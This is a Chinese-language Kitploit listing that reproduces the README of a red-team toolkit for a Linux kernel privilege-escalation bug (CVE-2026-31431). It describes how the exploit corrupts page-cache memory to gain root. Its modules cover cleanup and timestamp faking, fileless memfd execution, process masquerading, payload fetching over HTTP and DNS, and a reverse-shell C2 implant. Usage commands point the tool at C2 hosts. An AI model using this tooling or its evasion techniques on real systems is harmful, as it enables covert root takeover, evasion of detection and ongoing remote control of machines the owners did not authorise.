Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
COPY-FAIL — Copy Fail - CVE-2026-31431 - 为红队和授权渗透测试操作而强化的C语言实现。 ⚠️ 法律声明:本工具仅用于授权的安全研究、授权的渗透测试和防御分析。请在您拥有或已获得明确书面许可的系统上使用。未经授权访问计算机系统是违法的。 | Kitploit
工具/GitLabGitLab/toxy4ny/copy-fail
权限提升漏洞利用后渗透利用命令与控制红队Payload 开发二进制利用
GitLabtoxy4ny/copy-fail

COPY-FAIL

Copy Fail - CVE-2026-31431 - 为红队和授权渗透测试操作而强化的C语言实现。 ⚠️ 法律声明:本工具仅用于授权的安全研究、授权的渗透测试和防御分析。请在您拥有或已获得明确书面许可的系统上使用。未经授权访问计算机系统是违法的。

查看仓库
1102个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

Copy Fail -- CVE-2026-31431

为红队和授权渗透测试操作而强化的C语言实现。

⚠️ 法律声明: 本工具仅用于授权的安全研究、授权的渗透测试和防御性分析。仅可在您拥有或获得明确书面授权测试的系统上使用。未经授权访问计算机系统是违法的。

🚀 主要开发已迁移至GitLab。
此仓库在此处积极维护。如有问题或贡献,请使用GitLab。


目录

  • 概述
  • 原始研究
  • 我们的改进
  • 架构
  • 构建
  • 使用
  • 模块
  • 操作安全
  • 检测与缓解
  • 致谢
  • 许可证

概述

本项目是CVE-2026-31431("Copy Fail")本地权限提升漏洞的一个强化、生产就绪的C语言移植版本,最初由Theori和Xint于2026年4月29日披露。

原始概念验证代码使用Python编写,旨在用于研究演示。本实现将其转化为一个红队级工具包,具备:

  • 零磁盘痕迹(基于memfd的无文件执行)
  • 自动目标发现(支持MAC感知的setuid二进制枚举)
  • 反取证(缓存清理、时间戳恢复、自毁)
  • 操作员控制(信号触发执行,可配置超时)
  • 跨平台静态构建(x86_64、ARM64、RISC-V,使用musl/zig)

原始研究

CVE-2026-31431:Copy Fail

属性值
披露日期2026年4月29日
研究人员Theori(Jinoh Kang, Yonghwi Jin, Seunghyun Lee)、Xint
分析文章https://copy.fail/
原始PoCtheori-io/copy-fail-CVE-2026-31431 (Python)
C语言移植(基础版)tgies/copy-fail-c 作者:Tony Gies
受影响内核Linux 4.14 -- 6.14(修复提交a664bf3d603d之前)
严重程度CVSS 7.8(高)—— 本地权限提升

漏洞机制

该漏洞位于Linux内核的AF_ALG加密子系统中。authencesn AEAD模板实现了一种原地优化用于解密:当密文通过splice()从文件的页缓存提供时,内核重复使用同一页面作为源和目标。

攻击流程:

  1. 以只读方式打开一个setuid二进制文件(例如/usr/bin/su)
  2. 通过AF_ALG设置一个authencesn(hmac(sha256),cbc(aes)) AEAD操作
  3. 通过splice()从目标文件的页缓存中提供密文
  4. (失败的)解密操作在身份验证拒绝之前覆盖了页缓存页面的4个字节
  5. 对载荷的每个4字节窗口重复此过程
  6. 执行execve()目标文件——内核从缓存加载被修改的页面,授予setuid-root凭证
  7. 载荷转向完整的root shell

关键洞察: 磁盘上的inode从未被修改。只有内存中的页缓存被篡改,这使得基于取证的传统文件覆写漏洞的检测难度显著增加。


我们的改进

本项目在原有研究基础上扩展了面向红队的强化,涵盖九个模块。

1. 强化漏洞原语(patch_chunk.c)

特性原始版本我们的实现
套接字管理每块新建套接字套接字复用(减少约60%系统调用)
验证无mmap + memcmp,自动重试(3次)
并行写入仅顺序执行基于fork的并行(最多16个进程)
错误码二进制成功/失败细化:0=已验证,1=已修补内核,-1=致命错误
堆分配热路径中使用malloc仅栈操作(无分配抖动)

2. 自动目标发现(target_discovery.c)

  • 三阶段扫描:优先级目标 → 标准目录 → 深度扫描
  • MAC感知评分:对具有AppArmor/SELinux配置文件的二进制文件扣分
  • 18个优先级目标:su、sudo、passwd、pkexec、mount、ping等
  • 回退链:若主目标失败,自动选择下一个最佳候选
  • Snap感知:跳过/snap(非传统setuid)

3. 反取证套件(anti_forensics.c)

技术目的
posix_fadvise(POSIX_FADV_DONTNEED)逐文件页缓存驱逐
echo 3 > /proc/sys/vm/drop_caches全局缓存清理(提权后)
utimensat() 时间戳伪造恢复原始atime/mtime
自毁在执行前用零覆盖投放器二进制文件
内存擦除使用volatile清零敏感缓冲区

4. 无文件执行(memfd_exec.c)

  • memfd_create + fexecve:无需文件系统路径即可执行
  • 伪装:memfd名称设为kworker、anon_inode、eventfd(混入/proc/$pid/fd/)
  • 创建孤儿进程:双重fork创建孤立进程(PPID=1)
  • 内存中解密:XOR和RC4解密后执行(载荷在磁盘上永不明文)

5. 第一阶段载荷投递(stage1.c)

通道隐蔽性速度回退优先级
内嵌最高即时最后(断网)
HTTP直连中等<1秒最先
系统curl/wget低1-3秒第二(支持HTTPS)
DNS TXT高慢第三(防火墙绕过)

6. 第二阶段C2植入(stage2_template.c)

  • 弹性重连循环,带有指数退避
  • 三种分布:均匀、三角、指数抖动
  • 信号控制:SIGUSR1(触发)、SIGUSR2(状态)、SIGTERM(关闭)
  • DNS信标:TCP连接前的隐蔽C2健康检查
  • 进程伪装:ps/top中显示为[kworker/N:0]

7. 进程隐藏(proc_hide.c)

  • argv[0]覆盖:原地替换/proc/$pid/cmdline
  • prctl(PR_SET_NAME):内核线程风格名称(16字节限制)
  • 环境变量清理:选择性擦除SSH_*、AWS_*、TOKEN*等
  • 父进程脱离:setsid() + setpgid(),实现终端独立

8. 信号触发控制(signal_trigger.c)

模式行为使用场景
trigger_oneshot()睡眠 → 触发 → 执行 → 退出快速打击
trigger_daemon()睡眠 → 触发 → 执行 → 循环持续植入
trigger_auto()睡眠 + 超时回退无人值守操作

零CPU等待:使用sigsuspend()而不是轮询循环。

9. 睡眠抖动(sleep_jitter.c)

  • 三种RNG后端:getrandom(2)、/dev/urandom、rdtsc回退
  • 拒绝采样:消除均匀分布中的模偏差
  • 漂移补偿:sleep_scheduled()在抖动情况下维持平均间隔
  • 沙箱检测:check_sandbox_acceleration()检测被修补的sleep()

架构

┌─────────────────────────────────────────────────────────────┐
│                     exploit.c (编排器)                      │
│  ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐          │
│  │ 隐藏    │ │ 发现    │ │ 漏洞    │ │ 清理    │          │
│  │ 进程    │ │ 目标    │ │         │ │         │          │
│  └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘          │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              核心模块层                               │  │
│  │  patch_chunk.c  target_discovery.c  anti_forensics.c  │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              投递与规避层                             │  │
│  │  stage1.c  memfd_exec.c  proc_hide.c                │  │
│  │  signal_trigger.c  sleep_jitter.c                   │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              载荷层(第二阶段)                      │  │
│  │  stage2_template.c  (反弹shell / C2植入)            │  │
│  └─────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

构建

依赖项

  • GCC或Clang
  • GNU Make
  • Linux头文件(linux-libc-dev或等效包)
  • 可选:musl-tools(用于小巧的静态构建)
  • 可选:zig(用于现代交叉编译)
  • 可选:dpkg-deb(用于Debian打包)

快速开始

# 标准红队构建(优化、剥离、静态)
make redteam

# 渗透测试构建(符号表、适度优化)
make pentest

# 调试构建(ASAN、完整符号表)
make debug

# 漏洞检查器(非破坏性)
make checker

交叉编译

# ARM64(AWS/Azure云目标)
make cross-arm64

# RISC-V
make cross-riscv

# ARM HF(嵌入式/IoT)
make cross-armhf

# Zig交叉编译(无需安装工具链)
make cross-zig-arm64
make cross-zig-riscv

musl静态构建(小型二进制文件)

make musl-static
# 生成约50-100 KB的静态二进制文件,无glibc依赖

Debian包

make deb VERSION=1.0.0
# 生成:build/deb/copy-fail-cve-2026-31431-1.0.0.deb

构建信息

make info
# 显示:CC、CFLAGS、LDFLAGS、架构、工具链可用性

使用

标准模式(信号触发)

# 部署植入
./exploit &
IMP_PID=$!

# 远程触发漏洞利用
kill -USR1 $IMP_PID

# 请求状态(无操作)
kill -USR2 $IMP_PID

# 优雅关闭
kill -TERM $IMP_PID

立即执行

./exploit -t                    # 立即触发,不等待信号
./exploit -t -c c2.example.com -p 9999

自定义配置

./exploit \
  -c c2.redteam.internal \      # C2主机名
  -p 4444 \                      # C2端口
  -d 300 \                       # 5分钟初始延迟
  -T 7200 \                      # 2小时触发超时
  -n                             # 跳过漏洞验证

非破坏性漏洞检查

./vulnerable
# 退出码:100 = 有漏洞,0 = 已修补,其他 = 错误

模块

模块文件用途
漏洞原语patch_chunk.c/hAF_ALG/splice页缓存篡改
目标发现target_discovery.c/h自动扫描并评分setuid二进制文件
反取证anti_forensics.c/h清理、时间戳伪造、自毁
第一阶段投递stage1.c/h无文件载荷获取与执行
第二阶段C2stage2_template.c/h带重连循环的反弹shell
memfd执行memfd_exec.c/h匿名文件执行原语
进程隐藏proc_hide.c/hargv/cmdline/comm伪装
信号控制signal_trigger.c/h操作员触发执行
睡眠抖动sleep_jitter.c/h带分布的随机延迟
编排器exploit.c主入口与协调
检查器vulnerable.c非破坏性漏洞探测

操作安全

红队最佳实践

  1. 在低活动时段部署以减少关联性
  2. 使用指数抖动作为重连间隔(规避信标检测)
  3. 通过SIGUSR1触发而非自动触发(操作员保持控制)
  4. 始终执行清理(full_cleanup),即使漏洞利用失败
  5. 优先使用memfd执行而非基于磁盘的载荷
  6. 双重fork实现持久化(memfd_fork_exec_detach)
  7. 在执行前监控沙箱加速

取证痕迹

下载工具